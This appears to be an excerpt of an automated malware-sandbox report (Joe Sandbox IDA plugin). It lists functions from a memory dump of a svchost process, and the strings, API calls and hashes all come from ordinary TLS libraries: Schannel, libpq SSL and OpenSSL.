schannel: Unknown TLS 1.3 cipher: %.*s, xrefs: 00007FFDA55CC470
TLS_AES_128_CCM_8_SHA256, xrefs: 00007FFDA55CC3EE
TLS_AES_128_CCM_SHA256, xrefs: 00007FFDA55CC422
CurrentUser, xrefs: 00007FFDA55CBBBF
Microsoft Unified Security Protocol Provider, xrefs: 00007FFDA55CC842
schannel: AcquireCredentialsHandle failed: %s, xrefs: 00007FFDA55CC899
(unknown), xrefs: 00007FFDA55CBDF7
Users, xrefs: 00007FFDA55CBC4D
LocalMachineEnterprise, xrefs: 00007FFDA55CBCAA
(memory blob), xrefs: 00007FFDA55CBD7B, 00007FFDA55CBF59
schannel: Failed to import cert file %s, password is bad, xrefs: 00007FFDA55CC173
@, xrefs: 00007FFDA55CC52B
SHA384, xrefs: 00007FFDA55CC56C
ChainingModeCCM, xrefs: 00007FFDA55CC4E7
schannel: Failed to import cert file %s, last error is 0x%lx, xrefs: 00007FFDA55CC18C
schannel: Failed to get certificate location or file for %s, xrefs: 00007FFDA55CC8EC
schannel: Failed to read cert file %s, xrefs: 00007FFDA55CC03C
TLS_AES_128_GCM_SHA256, xrefs: 00007FFDA55CC389
USE_STRONG_CRYPTO, xrefs: 00007FFDA55CC772
schannel: Failed to get certificate from file %s, last error is 0x%lx, xrefs: 00007FFDA55CC1DB
schannel: WARNING: This version of Schannel may negotiate a less-secure TLS version than TLS 1.3 because the user set an algorithm cipher list., xrefs: 00007FFDA55CC681
P12, xrefs: 00007FFDA55CBD66
schannel: certificate format compatibility error for %s, xrefs: 00007FFDA55CBD91
CurrentUserGroupPolicy, xrefs: 00007FFDA55CBC6C
LocalMachine, xrefs: 00007FFDA55CBBEA
AES, xrefs: 00007FFDA55CC49D
, xrefs: 00007FFDA55CC54F
, xrefs: 00007FFDA55CC4E0
TLS_AES_256_GCM_SHA384, xrefs: 00007FFDA55CC35D
schannel: unable to allocate memory, xrefs: 00007FFDA55CBF1C
schannel: Failed to open cert store %lx %s, last error is 0x%lx, xrefs: 00007FFDA55CBE08
CurrentService, xrefs: 00007FFDA55CBC0C
schannel: All available TLS 1.3 ciphers were disabled, xrefs: 00007FFDA55CC4C1
schannel: Failed setting algorithm cipher list, xrefs: 00007FFDA55CC7DD
LocalMachineGroupPolicy, xrefs: 00007FFDA55CBC8B
SHA256, xrefs: 00007FFDA55CC573
$, xrefs: 00007FFDA55CC5DB
schannel: TLS 1.3 not supported on Windows prior to 11, xrefs: 00007FFDA55CBB86
CHACHA20_POLY1305, xrefs: 00007FFDA55CC5C9
SCH_USE_STRONG_CRYPTO, xrefs: 00007FFDA55CC78C
Services, xrefs: 00007FFDA55CBC2E

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProcfree
String ID: $ $$$(memory blob)$(unknown)$@$AES$CHACHA20_POLY1305$ChainingModeCCM$ChainingModeGCM$CurrentService$CurrentUser$CurrentUserGroupPolicy$LocalMachine$LocalMachineEnterprise$LocalMachineGroupPolicy$Microsoft Unified Security Protocol Provider$P12$SCH_USE_STRONG_CRYPTO$SHA256$SHA384$Services$TLS_AES_128_CCM_8_SHA256$TLS_AES_128_CCM_SHA256$TLS_AES_128_GCM_SHA256$TLS_AES_256_GCM_SHA384$TLS_CHACHA20_POLY1305_SHA256$USE_STRONG_CRYPTO$Users$schannel: AcquireCredentialsHandle failed: %s$schannel: All available TLS 1.3 ciphers were disabled$schannel: Failed setting algorithm cipher list$schannel: Failed to get certificate from file %s, last error is 0x%lx$schannel: Failed to get certificate location or file for %s$schannel: Failed to import cert file %s, last error is 0x%lx$schannel: Failed to import cert file %s, password is bad$schannel: Failed to open cert store %lx %s, last error is 0x%lx$schannel: Failed to read cert file %s$schannel: TLS 1.3 not supported on Windows prior to 11$schannel: This version of Schannel does not support setting an algorithm cipher list and TLS 1.3 cipher list at the same time$schannel: Unknown TLS 1.3 cipher: %.*s$schannel: WARNING: This version of Schannel may negotiate a less-secure TLS version than TLS 1.3 because the user set an algorithm cipher list.$schannel: certificate format compatibility error for %s$schannel: unable to allocate memory
API String ID: 3799942571-230586194
Opcode ID: cd151eb02162fe162480a3690277774b33a588f8d099033d8d492b2adcfb8331
Instruction ID: 079dfff39555339f3f255290acb2e99b60981f7ef017e3a1a77c2370ddb2c10f
Opcode Fuzzy Hash: cd151eb02162fe162480a3690277774b33a588f8d099033d8d492b2adcfb8331
Instruction Fuzzy Hash: 00929E2AB0AB8A86EB12CF21A8603B927A0BF47F94F445135D95D47B97DF7CE144C708

Function 00007FFDA3788D70 Relevance: 149.4, APIs: 54, Strings: 31, Instructions: 692COMMON

Download Yara Rule

APIs

TLS_method.LIBSSL-3-X64 ref: 00007FFDA3788E83
SSL_CTX_new.LIBSSL-3-X64 ref: 00007FFDA3788E8B
ERR_get_error.LIBCRYPTO-3-X64 ref: 00007FFDA3788E98
SSL_CTX_set_default_passwd_cb.LIBSSL-3-X64 ref: 00007FFDA3788EFA
SSL_CTX_set_default_passwd_cb_userdata.LIBSSL-3-X64 ref: 00007FFDA3788F05
SSL_CTX_set_cert_cb.LIBSSL-3-X64 ref: 00007FFDA3788F17
SSL_CTX_set_options.LIBSSL-3-X64 ref: 00007FFDA3788F24
SSL_CTX_ctrl.LIBSSL-3-X64 ref: 00007FFDA3788F80
ERR_get_error.LIBCRYPTO-3-X64 ref: 00007FFDA3788F89

Part of subcall function 00007FFDA3788C80: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FFDA3789D72), ref: 00007FFDA3788C91

Part of subcall function 00007FFDA3782D70: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,-00000001,00007FFDA37715B3), ref: 00007FFDA3782D89
Part of subcall function 00007FFDA3782D70: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3782DB1
Part of subcall function 00007FFDA3782D70: libintl_dgettext.LIBINTL-9 ref: 00007FFDA3782DD2

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3789810
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37898A3
SSL_CTX_free.LIBSSL-3-X64 ref: 00007FFDA37898AC

Strings

system, xrefs: 00007FFDA378909C
could not stat private key file "%s": %m, xrefs: 00007FFDA3789715
could not read root certificate file "%s": %s, xrefs: 00007FFDA3789138
could not establish SSL connection: %s, xrefs: 00007FFDA378987F
could not load private key file "%s": %s, xrefs: 00007FFDA37897B6
0123456789., xrefs: 00007FFDA378941B
could not read private SSL key "%s" from user "%s": %s, xrefs: 00007FFDA3789617
could not read certificate file "%s": %s, xrefs: 00007FFDA378936D
postgresql.key, xrefs: 00007FFDA37896B1
could not create SSL context: %s, xrefs: 00007FFDA3788EA7
private key file "%s" is not a regular file, xrefs: 00007FFDA378975B
root.crt, xrefs: 00007FFDA3789065
%s/%s, xrefs: 00007FFDA378907D, 00007FFDA37891DA, 00007FFDA37892AD, 00007FFDA37896C9
could not set maximum SSL protocol version: %s, xrefs: 00007FFDA3789009
root certificate file "%s" does not existEither provide the file, use the system's trusted roots with sslrootcert=system, or change sslmode to disable server certificate verification., xrefs: 00007FFDA3789244
out of memory allocating error description, xrefs: 00007FFDA3788EB9, 00007FFDA378948D, 00007FFDA3789564, 00007FFDA37895B7, 00007FFDA3789634, 00007FFDA37896EF, 00007FFDA3789894
certificate present, but not private key file "%s", xrefs: 00007FFDA378971C
could not get home directory to locate root certificate fileEither provide the file, use the system's trusted roots with sslrootcert=system, or change sslmode to disable server certificate verification., xrefs: 00007FFDA378922E
could not load system root certificate paths: %s, xrefs: 00007FFDA37890E1
invalid value "%s" for maximum SSL protocol version, xrefs: 00007FFDA3788FD3
could not open certificate file "%s": %s, xrefs: 00007FFDA3789333
could not set minimum SSL protocol version: %s, xrefs: 00007FFDA3788F95
postgresql.crt, xrefs: 00007FFDA3789295
could not set SSL Server Name Indication (SNI): %s, xrefs: 00007FFDA378947B
invalid value "%s" for minimum SSL protocol version, xrefs: 00007FFDA3788F5F
could not load private SSL key "%s" from user "%s": %s, xrefs: 00007FFDA378967A
root.crl, xrefs: 00007FFDA37891C2
could not load SSL user "%s": %s, xrefs: 00007FFDA378954F
could not initialize SSL user "%s": %s, xrefs: 00007FFDA37895A2
certificate does not match private key file "%s": %s, xrefs: 00007FFDA37897ED
out of memory, xrefs: 00007FFDA3789504

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: R_get_error_errnofree$S_methodX_ctrlX_freeX_newX_set_cert_cbX_set_default_passwd_cbX_set_default_passwd_cb_userdataX_set_optionslibintl_dgettextmalloc
String ID: %s/%s$0123456789.$certificate does not match private key file "%s": %s$certificate present, but not private key file "%s"$could not create SSL context: %s$could not establish SSL connection: %s$could not get home directory to locate root certificate fileEither provide the file, use the system's trusted roots with sslrootcert=system, or change sslmode to disable server certificate verification.$could not initialize SSL user "%s": %s$could not load SSL user "%s": %s$could not load private SSL key "%s" from user "%s": %s$could not load private key file "%s": %s$could not load system root certificate paths: %s$could not open certificate file "%s": %s$could not read certificate file "%s": %s$could not read private SSL key "%s" from user "%s": %s$could not read root certificate file "%s": %s$could not set SSL Server Name Indication (SNI): %s$could not set maximum SSL protocol version: %s$could not set minimum SSL protocol version: %s$could not stat private key file "%s": %m$invalid value "%s" for maximum SSL protocol version$invalid value "%s" for minimum SSL protocol version$out of memory$out of memory allocating error description$postgresql.crt$postgresql.key$private key file "%s" is not a regular file$root certificate file "%s" does not existEither provide the file, use the system's trusted roots with sslrootcert=system, or change sslmode to disable server certificate verification.$root.crl$root.crt$system
API String ID: 1953776291-2113827057
Opcode ID: 3bc42ec7b35e5b906b041cde520f6272f9448a04cac596296e9510dd570b6f65
Instruction ID: 846981ac28e12454df6fd6ecae2bf4af70c74560415b09232f0d6c737520af0e
Opcode Fuzzy Hash: 3bc42ec7b35e5b906b041cde520f6272f9448a04cac596296e9510dd570b6f65
Instruction Fuzzy Hash: F6629E21F0F64392FA55AB2594303B93393AF46BA6F444632D91E277D7DE3EE4818318

Function 00007FFDA33342D0 Relevance: 79.1, APIs: 43, Strings: 2, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA3334320
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA3334338
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFDA3334349
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA333437C
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA3334394
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFDA333486E

Strings

ssl\ssl_lib.c, xrefs: 00007FFDA3334331, 00007FFDA333438D, 00007FFDA33343A9, 00007FFDA33343F2, 00007FFDA3334416, 00007FFDA33344E9, 00007FFDA3334527, 00007FFDA333455A, 00007FFDA3334701, 00007FFDA33347D9, 00007FFDA3334856
SSL_CTX_new_ex, xrefs: 00007FFDA3334325, 00007FFDA3334381, 00007FFDA33343EB, 00007FFDA33344E2, 00007FFDA333451B, 00007FFDA3334553, 00007FFDA33347CD, 00007FFDA333484A

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: SSL_CTX_new_ex$ssl\ssl_lib.c
API String ID: 1552677711-2988157636
Opcode ID: 197f6834403d833c31d4adf1d62aab5f67e9f57932db730e893f6a281c6a2351
Instruction ID: 8eedc8832a414f5b45e6546998a55bc0a17a76ace3f4d714614a4f43a9f5d14a
Opcode Fuzzy Hash: 197f6834403d833c31d4adf1d62aab5f67e9f57932db730e893f6a281c6a2351
Instruction Fuzzy Hash: D7E15B21F0FF9351FA58BB61D4323B92292AF80744F548435DA0D6A7A7EE3FE4418359

Function 00007FFDA333D68B Relevance: 66.7, APIs: 37, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

X509_VERIFY_PARAM_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D70C

Part of subcall function 00007FFDA333C5B0: OPENSSL_sk_pop_free.LIBCRYPTO-3-X64(00000000,00007FFDA3336D93,?,?,?,?,00007FFDA33234DD), ref: 00007FFDA333C5D1
Part of subcall function 00007FFDA333C5B0: OSSL_STACK_OF_X509_free.LIBCRYPTO-3-X64(00000000,00007FFDA3336D93,?,?,?,?,00007FFDA33234DD), ref: 00007FFDA333C5E0
Part of subcall function 00007FFDA333C5B0: X509_free.LIBCRYPTO-3-X64(00000000,00007FFDA3336D93,?,?,?,?,00007FFDA33234DD), ref: 00007FFDA333C5ED

BIO_pop.LIBCRYPTO-3-X64 ref: 00007FFDA333D728
BIO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D74A
BUF_MEM_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D76A
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D776
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D782
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D78E
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D79A
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D7DD
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D802
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D81B
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D840
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D859
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D872
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D88B
OPENSSL_sk_pop_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D89E
OPENSSL_sk_pop_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D8B1
SCT_LIST_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D8BD
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D8D6
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D8EF
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D908
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D921
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D946
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D95F
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D978
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D984
OPENSSL_sk_pop_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D997
OPENSSL_sk_pop_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D9AA
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D9C3
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D9DC
OSSL_STACK_OF_X509_free.LIBCRYPTO-3-X64 ref: 00007FFDA333D9E8
ASYNC_WAIT_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFDA333DA03
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333DA1C
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFDA333DA28
BIO_free_all.LIBCRYPTO-3-X64 ref: 00007FFDA333DA31
BIO_free_all.LIBCRYPTO-3-X64 ref: 00007FFDA333DA42
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333DA63

Strings

ssl\ssl_lib.c, xrefs: 00007FFDA333D7D0, 00007FFDA333D7F5, 00007FFDA333D80E, 00007FFDA333D833, 00007FFDA333D84C, 00007FFDA333D865, 00007FFDA333D87E, 00007FFDA333D8C9, 00007FFDA333D8E2, 00007FFDA333D8FB, 00007FFDA333D914, 00007FFDA333D939, 00007FFDA333D952, 00007FFDA333D96B, 00007FFDA333D9B6, 00007FFDA333D9CF, 00007FFDA333DA0F, 00007FFDA333DA4E

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: O_free$L_sk_freeL_sk_pop_free$X509_free$M_freeO_free_allX_free$O_popT_freeX509_
String ID: ssl\ssl_lib.c
API String ID: 1180453015-1984206432
Opcode ID: 2ab30675d38fe794d4143fbd10066cc4eef2f57f3f2657259a153aac8f67add1
Instruction ID: f5a7cb4435bb42b514a6ba22d4422a279ccc5768b7f06fb06ca9b19c0f90c5de
Opcode Fuzzy Hash: 2ab30675d38fe794d4143fbd10066cc4eef2f57f3f2657259a153aac8f67add1
Instruction Fuzzy Hash: 4EA10A61B0EE9280EB44FF26C8A16A93322EF81B89F045435DD4E5B76BCE2FE544C715

Function 00007FFDA3330EB0 Relevance: 65.1, APIs: 23, Strings: 14, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EVP_MD_get_size.LIBCRYPTO-3-X64 ref: 00007FFDA3330F68
ERR_set_mark.LIBCRYPTO-3-X64 ref: 00007FFDA3330F92
EVP_SIGNATURE_fetch.LIBCRYPTO-3-X64 ref: 00007FFDA3330FA8
EVP_KEYEXCH_fetch.LIBCRYPTO-3-X64 ref: 00007FFDA3330FD4
EVP_KEYEXCH_fetch.LIBCRYPTO-3-X64 ref: 00007FFDA3331003
EVP_KEYEXCH_free.LIBCRYPTO-3-X64 ref: 00007FFDA333101C
EVP_SIGNATURE_fetch.LIBCRYPTO-3-X64 ref: 00007FFDA3331032
EVP_SIGNATURE_free.LIBCRYPTO-3-X64 ref: 00007FFDA3331048
ERR_pop_to_mark.LIBCRYPTO-3-X64 ref: 00007FFDA333104D
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFDA33310A5
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFDA33310C5
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFDA3331115

Part of subcall function 00007FFDA333EE40: ERR_set_mark.LIBCRYPTO-3-X64(?,00007FFDA332F901,?,?,?,?,?,00007FFDA3327023), ref: 00007FFDA333EE6C
Part of subcall function 00007FFDA333EE40: OBJ_nid2sn.LIBCRYPTO-3-X64(?,00007FFDA332F901,?,?,?,?,?,00007FFDA3327023), ref: 00007FFDA333EE73
Part of subcall function 00007FFDA333EE40: EVP_CIPHER_fetch.LIBCRYPTO-3-X64(?,00007FFDA332F901,?,?,?,?,?,00007FFDA3327023), ref: 00007FFDA333EE81
Part of subcall function 00007FFDA333EE40: ERR_pop_to_mark.LIBCRYPTO-3-X64(?,00007FFDA332F901,?,?,?,?,?,00007FFDA3327023), ref: 00007FFDA333EE89

EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFDA3331135
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFDA3331188
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFDA33311A8
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFDA33311FB
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFDA333121B
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFDA333126E
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFDA333128E
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFDA33312CD
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFDA33312ED
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFDA333132C
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFDA333134C

Strings

, xrefs: 00007FFDA33311CB
magma-mac, xrefs: 00007FFDA3331179
ECDSA, xrefs: 00007FFDA3331028
gost2012_256, xrefs: 00007FFDA33312BE
, xrefs: 00007FFDA3331158
, xrefs: 00007FFDA33310E8
, xrefs: 00007FFDA333123E
DSA, xrefs: 00007FFDA3330F9E
gost-mac-12, xrefs: 00007FFDA3331106
ECDH, xrefs: 00007FFDA3330FF9
gost2001, xrefs: 00007FFDA333125F
kuznyechik-mac, xrefs: 00007FFDA33311EC
gost-mac, xrefs: 00007FFDA3331063
gost2012_512, xrefs: 00007FFDA333131D

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: Y_asn1_find_strY_asn1_get0_info$E_fetchH_fetchR_pop_to_markR_set_mark$D_get_sizeE_freeH_freeJ_nid2snR_fetch
String ID: $ $ $ $DSA$ECDH$ECDSA$gost-mac$gost-mac-12$gost2001$gost2012_256$gost2012_512$kuznyechik-mac$magma-mac
API String ID: 2321393641-365409564
Opcode ID: 268b19889cf02bf0f91517eb74db770bd30f83b64ba60b829bfd315cebd91123
Instruction ID: 858f06c8c3221e770ec9fb4fa2bb3cd88646a8f950a5040ae38019f513c1bbd5
Opcode Fuzzy Hash: 268b19889cf02bf0f91517eb74db770bd30f83b64ba60b829bfd315cebd91123
Instruction Fuzzy Hash: 1EE19F72F0EF9286E754BF20D4606A93792FF44758F045635EA4E567A6DF3EE0808704

Function 00007FFDA3388CA0 Relevance: 58.0, APIs: 24, Strings: 9, Instructions: 244
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFDA3382579), ref: 00007FFDA3388CD4
OSSL_PARAM_get_int.LIBCRYPTO-3-X64 ref: 00007FFDA3388D5D
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA3388D6A
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA3388FF9
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFDA338900A

Strings

tlstree, xrefs: 00007FFDA3388E1E
use_etm, xrefs: 00007FFDA3388D36
ssl\record\methods\tls_common.c, xrefs: 00007FFDA3388CBF, 00007FFDA3388E7F, 00007FFDA3388FF2
NULL, xrefs: 00007FFDA3389039
max_frag_len, xrefs: 00007FFDA3388D79
stream_mac, xrefs: 00007FFDA3388DE7
tls_int_new_record_layer, xrefs: 00007FFDA3388E73, 00007FFDA3388FEB
max_early_data, xrefs: 00007FFDA3388DB2
RC4, xrefs: 00007FFDA338904C

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: M_get_intO_zallocR_newR_set_debugR_set_error
String ID: NULL$RC4$max_early_data$max_frag_len$ssl\record\methods\tls_common.c$stream_mac$tls_int_new_record_layer$tlstree$use_etm
API String ID: 991255803-716357724
Opcode ID: 15da27ef39abc0995a8b80d88fa4a5feae3ec9346f4c252a0678d098395b0108
Instruction ID: 0e69ec6a4a137f0771e60dfed986d44ca495e76fabf528d94c9a7ca399108b9c
Opcode Fuzzy Hash: 15da27ef39abc0995a8b80d88fa4a5feae3ec9346f4c252a0678d098395b0108
Instruction Fuzzy Hash: D6B1A172B0EF8282EB50BB65D9602B96393EF44B84F004431DE4D6B79BDF6EE4458319

Function 00007FFDA333DAA0 Relevance: 56.4, APIs: 29, Strings: 3, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFDA333DAC9
CRYPTO_THREAD_lock_new.LIBCRYPTO-3-X64 ref: 00007FFDA333DAF1
CRYPTO_new_ex_data.LIBCRYPTO-3-X64 ref: 00007FFDA333DB13
CRYPTO_THREAD_lock_free.LIBCRYPTO-3-X64 ref: 00007FFDA333DB24
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333DB3D
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA333DB45
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA333DB5D
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFDA333DB6E
CRYPTO_free_ex_data.LIBCRYPTO-3-X64 ref: 00007FFDA333DB8D
CRYPTO_THREAD_lock_free.LIBCRYPTO-3-X64 ref: 00007FFDA333DBAE
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFDA333DBC3

Strings

ssl\ssl_lib.c, xrefs: 00007FFDA333DAB7, 00007FFDA333DB33, 00007FFDA333DB56, 00007FFDA333DBB9, 00007FFDA333DCB1, 00007FFDA333DDCD, 00007FFDA333DEDF, 00007FFDA333DF2A, 00007FFDA333DF7C, 00007FFDA333E0C9, 00007FFDA333E10C, 00007FFDA333E193
ossl_ssl_connection_new_int, xrefs: 00007FFDA333DB4A, 00007FFDA333DCA5, 00007FFDA333DDC1
SSL_set_ct_validation_callback, xrefs: 00007FFDA333E187

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: D_lock_freeO_free$D_lock_newO_free_ex_dataO_new_ex_dataO_zallocR_newR_set_debugR_set_error
String ID: SSL_set_ct_validation_callback$ossl_ssl_connection_new_int$ssl\ssl_lib.c
API String ID: 3044204582-3251968464
Opcode ID: b4fd45c842d3ddb22811912ea25257d44cc47ab26ce588713fff448be1502e61
Instruction ID: 8520cd1bd9f3b24d5ab2318c774a5e2bb94e549a310e73935003d3fa6fcc37f3
